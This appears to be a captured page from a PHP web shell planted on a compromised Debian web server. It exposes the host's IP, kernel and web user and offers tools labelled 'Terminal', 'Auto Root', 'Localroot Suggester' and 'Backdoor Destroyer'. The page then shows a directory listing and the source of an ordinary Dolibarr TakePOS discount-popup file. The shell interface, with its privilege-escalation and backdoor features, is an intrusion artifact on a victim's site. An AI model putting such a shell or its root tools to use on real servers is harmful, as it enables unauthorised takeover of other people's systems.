Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
speed.bdcloud.fr /
takepos /
Delete
Unzip
Name
Size
Permission
Date
Action
admin
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
ajax
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
css
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
genimg
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
img
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
js
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
public
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
sql
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
README.md
162
B
-rw-r--r--
2020-09-02 15:31
floors.php
7.05
KB
-rw-r--r--
2020-09-02 15:31
freezone.php
4.67
KB
-rw-r--r--
2020-09-02 15:31
index.php
40.37
KB
-rw-r--r--
2020-09-02 15:31
invoice.php
43.62
KB
-rw-r--r--
2020-09-02 15:31
modulebuilder.txt
242
B
-rw-r--r--
2020-09-02 15:31
pay.php
15.05
KB
-rw-r--r--
2020-09-02 15:31
phone.php
13.52
KB
-rw-r--r--
2020-09-02 15:31
receipt.php
5.91
KB
-rw-r--r--
2020-09-02 15:31
reduction.php
8.32
KB
-rw-r--r--
2020-09-02 15:31
send.php
3.86
KB
-rw-r--r--
2020-09-02 15:31
smpcb.php
1.11
KB
-rw-r--r--
2020-09-02 15:31
takepos.php
32.72
KB
-rw-r--r--
2020-09-02 15:31
Save
Rename
<?php /* Copyright (C) 2018 Andreu Bisquerra <jove@bisquerra.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/takepos/reduction.php * \ingroup takepos * \brief Page with the content of the popup to enter reductions */ //if (! defined('NOREQUIREUSER')) define('NOREQUIREUSER', '1'); // Not disabled cause need to load personalized language //if (! defined('NOREQUIREDB')) define('NOREQUIREDB', '1'); // Not disabled cause need to load personalized language //if (! defined('NOREQUIRESOC')) define('NOREQUIRESOC', '1'); //if (! defined('NOREQUIRETRAN')) define('NOREQUIRETRAN', '1'); if (!defined('NOCSRFCHECK')) define('NOCSRFCHECK', '1'); if (!defined('NOTOKENRENEWAL')) define('NOTOKENRENEWAL', '1'); if (!defined('NOREQUIREMENU')) define('NOREQUIREMENU', '1'); if (!defined('NOREQUIREHTML')) define('NOREQUIREHTML', '1'); if (!defined('NOREQUIREAJAX')) define('NOREQUIREAJAX', '1'); require '../main.inc.php'; // Load $user and permissions require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; $place = (GETPOST('place', 'aZ09') ? GETPOST('place', 'aZ09') : 0); // $place is id of table for Ba or Restaurant $invoiceid = GETPOST('invoiceid', 'int'); if (empty($user->rights->takepos->run)) { accessforbidden(); } /* * View */ $invoice = new Facture($db); if ($invoiceid > 0) { $invoice->fetch($invoiceid); } else { $sql = "SELECT rowid FROM ".MAIN_DB_PREFIX."facture where ref='(PROV-POS".$_SESSION["takeposterminal"]."-".$place.")'"; $resql = $db->query($sql); $obj = $db->fetch_object($resql); if ($obj) { $invoiceid = $obj->rowid; } if (!$invoiceid) { $invoiceid = 0; // Invoice does not exist yet } else { $invoice->fetch($invoiceid); } } $arrayofcss = array('/takepos/css/pos.css.php'); $arrayofjs = array(); top_htmlhead($head, '', 0, 0, $arrayofjs, $arrayofcss); $langs->loadLangs(array('main', 'bills', 'cashdesk')); if (!empty($conf->global->TAKEPOS_NUMPAD_USE_PAYMENT_ICON)) { $htmlReductionPercent = '<span class="fa fa-2x fa-percent"></span>'; $htmlReductionAmount = '<span class="fa fa-2x fa-money"></span>'; } else { $htmlReductionPercent = $langs->trans('ReductionShort').'<br>%'; $htmlReductionAmount = $langs->trans('ReductionShort').'<br>'.$langs->trans('Amount'); } ?> <link rel="stylesheet" href="css/pos.css.php"> </head> <body> <script> var reductionType =''; var reductionTotal = ''; var editAction = ''; var editNumber = ''; var htmlBtnOK = '<span style="font-size: 14pt;">OK</span>'; var htmlReductionPercent = '<?php echo dol_escape_js($htmlReductionPercent); ?>'; var htmlReductionAmount = '<?php echo dol_escape_js($htmlReductionAmount); ?>'; /** * Reset values */ function Reset() { reductionType = ''; reductionTotal = ''; editAction = ''; editNumber = ''; jQuery('#reduction_total').val(reductionTotal); jQuery("#reduction_type_percent").html(htmlReductionPercent); jQuery('#reduction_type_amount').html(htmlReductionAmount); } /** * Edit action * * @param {string} number Number pressed */ function Edit(number) { console.log('Edit ' + number); if (number === 'p') { if (editAction === 'p' && reductionType === 'percent'){ ValidateReduction(); } else { editAction = 'p'; } reductionType = 'percent'; } else if (number === 'a') { if (editAction === 'a' && reductionType === 'amount'){ ValidateReduction(); } else { editAction = 'a'; } reductionType = 'amount'; } if (editAction === 'p'){ jQuery('#reduction_type_percent').html(htmlBtnOK); jQuery('#reduction_type_amount').html(htmlReductionAmount); } else if (editAction === 'a'){ jQuery('#reduction_type_amount').html(htmlBtnOK); jQuery("#reduction_type_percent").html(htmlReductionPercent); } else { jQuery('#reduction_type_percent').html(htmlReductionPercent); jQuery('#reduction_type_amount').html(htmlReductionAmount); } } /** * Add a number in reduction input * * @param {string} reductionNumber Number pressed */ function AddReduction(reductionNumber) { console.log('AddReduction ' + reductionNumber); reductionTotal += String(reductionNumber); jQuery('#reduction_total').val(reductionTotal); } /** * Validate a reduction */ function ValidateReduction() { console.log('ValidateReduction'); if (reductionTotal.length <= 0) { console.error('Error no reduction'); return; } var reductionNumber = parseFloat(reductionTotal); if (isNaN(reductionNumber)) { console.error('Error not a valid number :', reductionNumber); return; } if (reductionType === 'percent') { var invoiceid = <?php echo ($invoiceid > 0 ? $invoiceid : 0); ?>; parent.$("#poslines").load("invoice.php?action=update_reduction_global&place=<?php echo $place; ?>&number="+reductionNumber+"&invoiceid="+invoiceid, function() { Reset(); parent.$.colorbox.close(); }); } else if (reductionType === 'amount') { var desc = "<?php echo dol_escape_js($langs->transnoentities('Reduction')); ?>"; parent.$("#poslines").load("invoice.php?action=freezone&place=<?php echo $place; ?>&number=-"+reductionNumber+"&desc="+desc, function() { Reset(); parent.$.colorbox.close(); }); } else { console.error('Error bad reduction type :', reductionType); } } </script> <div style="position:absolute; top:2%; left:5%; width:91%;"> <center> <?php print '<input type="text" class="takepospay" id="reduction_total" name="reduction_total" style="width: 50%;" placeholder="'.$langs->trans('Reduction').'">'; ?> </center> </div> <div style="position:absolute; top:33%; left:5%; height:52%; width:92%;"> <?php print '<button type="button" class="calcbutton" onclick="AddReduction(7);">7</button>'; print '<button type="button" class="calcbutton" onclick="AddReduction(8);">8</button>'; print '<button type="button" class="calcbutton" onclick="AddReduction(9);">9</button>'; print '<button type="button" class="calcbutton2" id="reduction_type_percent" onclick="Edit(\'p\');">'.$htmlReductionPercent.'</button>'; print '<button type="button" class="calcbutton" onclick="AddReduction(4);">4</button>'; print '<button type="button" class="calcbutton" onclick="AddReduction(5);">5</button>'; print '<button type="button" class="calcbutton" onclick="AddReduction(6);">6</button>'; print '<button type="button" class="calcbutton2" id="reduction_type_amount" onclick="Edit(\'a\');">'.$htmlReductionAmount.'</button>'; print '<button type="button" class="calcbutton" onclick="AddReduction(1);">1</button>'; print '<button type="button" class="calcbutton" onclick="AddReduction(2);">2</button>'; print '<button type="button" class="calcbutton" onclick="AddReduction(3);">3</button>'; print '<button type="button" class="calcbutton3 poscolorblue" onclick="Reset();"><span id="printtext" style="font-weight: bold; font-size: 18pt;">C</span></button>'; print '<button type="button" class="calcbutton" onclick="AddReduction(0);">0</button>'; print '<button type="button" class="calcbutton" onclick="AddReduction(\'.\');">.</button>'; print '<button type="button" class="calcbutton"> </button>'; print '<button type="button" class="calcbutton3 poscolordelete" onclick="parent.$.colorbox.close();"><span id="printtext" style="font-weight: bold; font-size: 18pt;">X</span></button>'; ?> </div> </body> </html>